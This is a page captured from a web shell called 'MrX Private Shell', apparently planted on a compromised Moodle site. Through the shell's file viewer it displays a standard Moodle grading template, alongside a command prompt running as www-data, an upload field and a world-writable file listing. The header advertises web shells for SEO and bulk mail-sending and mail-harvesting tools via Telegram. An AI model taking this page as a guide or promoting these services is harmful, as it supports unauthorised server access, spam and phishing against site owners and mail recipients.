__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
{{!
    This file is part of Moodle - http://moodle.org/

    Moodle is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    Moodle is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
}}
{{!
    @template mod_assign/grading_actionmenu

    Actions panel for the assignment grading UI.

    Classes required for JS:
    * none

    Context variables required for this template:
    * userselector - HTML that outputs the user selector
    * groupselector - (optional) HTML that outputs the group selector
    * statusselector - (optional) The data object containing the required properties to render the status selector
    * extrafiltersdropdown - HTML that outputs the extra filters dropdown
    * pagereset - (optional) URL to reset the page
    * graderurl - (optional) URL to the grader page
    * quickgrading - (optional) Includes the baseurl and enabled properties for the quick grading checkbox
    * downloadasfolders - (optional) Includes the baseurl and enabled properties for the download as folders checkbox
    * actions - (optional) HTML that outputs the bulk action menu

    Example context (json):
    {
        "userselector": {"user selector": "context here"},
        "groupselector": {"group selector": "context here"},
        "initialselector": {"initial selector": "context here"},
        "statusselector": {
            "name": "filter",
            "value": "submitted",
            "baseid": "select-menu56789",
            "label": "Status",
            "inlinelabel": true,
            "selectedoption": "Not submitted",
            "options": [
                {"name": "All", "value": "", "selected": false, "id": "select-menu-option56789a"},
                {"name": "Not submitted", "value": "notsubmitted", "selected": true, "id": "select-menu-option56789b"},
                {"isdivider": true},
                {"name": "granted extention", "value": "grantedextension", "selected": false, "id": "select-menu-option56789d"}
            ]
        },
        "extrafiltersdropdown": "<div class='dropdown extrafilters'></div>",
        "pagereset": "http://moodle.local/mod/assign/view.php?id=2&action=grading&group=0",
        "graderurl": "http://moodle.local/mod/assign/view.php?id=2&action=grader",
        "quickgrading": {
            "baseurl": "http://moodle.local/mod/assign/view.php?id=2&action=grading",
            "enabled": true
        },
        "downloadasfolders": {
            "baseurl": "http://moodle.local/mod/assign/view.php?id=2&action=grading",
            "enabled": true
        },
        "actions": "<div class='action-menu'></div>"
    }

}}
<div class="container-fluid tertiary-navigation full-width-bottom-border mb-2">
    <div class="row">
        <div class="navitem">
            <h2>{{#str}}gradeitem:submissions, mod_assign{{/str}}</h2>
        </div>
        <div class="navitem-divider d-none d-sm-flex"></div>
        {{#userselector}}
            <div class="navitem">
                {{>core/comboboxsearch}}
            </div>
            <div class="navitem-divider d-none d-sm-flex"></div>
        {{/userselector}}
        {{#groupselector}}
            <div class="navitem">
                {{>core/comboboxsearch}}
            </div>
            <div class="navitem-divider d-none d-sm-flex"></div>
        {{/groupselector}}
        {{#initialselector}}
            <div class="navitem d-flex flex-column align-self-center">
                {{>core/comboboxsearch}}
            </div>
            <div class="navitem-divider"></div>
        {{/initialselector}}
        {{#statusselector}}
            <div class="navitem">
                {{>core/select_menu}}
            </div>
            <div class="navitem-divider d-none d-sm-flex"></div>
            {{#js}}
                document.querySelector('#{{baseid}}').addEventListener('change', function(e) {
                    window.location.href = e.target.value;
                });
            {{/js}}
        {{/statusselector}}
        {{#extrafiltersdropdown}}
            <div class="navitem">
            {{>core/local/dropdown/dialog}}
            </div>
            <div class="navitem-divider d-none d-sm-flex"></div>
        {{/extrafiltersdropdown}}
        {{#pagereset}}
            <div class="navitem align-self-center">
                <a href="{{{.}}}" class="btn btn-link">{{#str}}clearall, core{{/str}}</a>
            </div>
            <div class="navitem-divider"></div>
        {{/pagereset}}
        {{#graderurl}}
        <div class="navitem ms-sm-auto align-self-center">
            <a class="btn btn-primary" href="{{graderurl}}">{{#str}}gradeverb, core{{/str}}</a>
        </div>
        {{/graderurl}}
    </div>
</div>
<div class="container-fluid tertiary-navigation pt-0">
    <div class="row pb-2">
        {{#quickgrading}}
            <div class="navitem m-0 ml-auto">
                <div class="form-check align-self-center">
                    <input class="form-check-input" type="checkbox" id="quickgrading-{{uniqid}}" {{#enabled}}checked{{/enabled}}/>
                    <label class="form-check-label" for="quickgrading-{{uniqid}}" >{{#str}}quickgrading, mod_assign{{/str}}</label>
                </div>
            </div>
            <div class="navitem-divider m-0"></div>
            {{#js}}
                document.querySelector('#quickgrading-{{uniqid}}').addEventListener('change', function(e) {
                    var url = new URL('{{{baseurl}}}');
                    url.searchParams.set('quickgrading', e.target.checked ? 1 : 0);
                    window.location.href = url;
                });
            {{/js}}
        {{/quickgrading}}
        {{#downloadasfolders}}
            <div class="navitem m-0">
                <div class="form-check align-self-center">
                    <input class="form-check-input" type="checkbox" id="downloadasfolders-{{uniqid}}" {{#enabled}}checked{{/enabled}}/>
                    <label class="form-check-label" for="downloadasfolders-{{uniqid}}">{{#str}}downloadasfolders, mod_assign{{/str}}</label>
                </div>
            </div>
            <div class="navitem-divider m-0"></div>
            {{#js}}
                document.querySelector('#downloadasfolders-{{uniqid}}').addEventListener('change', function(e) {
                    var url = new URL('{{{baseurl}}}');
                    url.searchParams.set('downloadasfolders', e.target.checked ? 1 : 0);
                    window.location.href = url;
                });
            {{/js}}
        {{/downloadasfolders}}
        {{#actions}}
            <div class="navitem m-0">{{{actions}}}</div>
        {{/actions}}
    </div>
</div>

Filemanager

Name Type Size Permission Actions
actionbar Folder 0777
bulkactions Folder 0777
attempt_history_chooser.mustache File 634 B 0777
grading_actionmenu.mustache File 7 KB 0777
grading_actions.mustache File 3.05 KB 0777
grading_app.mustache File 2.67 KB 0777
grading_navigation.mustache File 2.97 KB 0777
grading_navigation_no_users.mustache File 1.05 KB 0777
grading_navigation_user_info.mustache File 1.2 KB 0777
grading_navigation_user_selector.mustache File 4.24 KB 0777
grading_navigation_user_summary.mustache File 2.01 KB 0777
grading_paging_selector.mustache File 1.69 KB 0777
grading_panel.mustache File 1.19 KB 0777
grading_save_in_progress.mustache File 1.11 KB 0777
grading_sticky_footer.mustache File 2.16 KB 0777
list_participant_user_summary.mustache File 1.42 KB 0777
loading.mustache File 1.03 KB 0777
override_actionmenu.mustache File 3.04 KB 0777
override_form_user_defaults.mustache File 1.69 KB 0777
popout_button.mustache File 183 B 0777
review_panel.mustache File 1.01 KB 0777
submission_actionmenu.mustache File 1.28 KB 0777
timelimit_panel.mustache File 1.2 KB 0777
user_submission_actionmenu.mustache File 5.88 KB 0777
Filemanager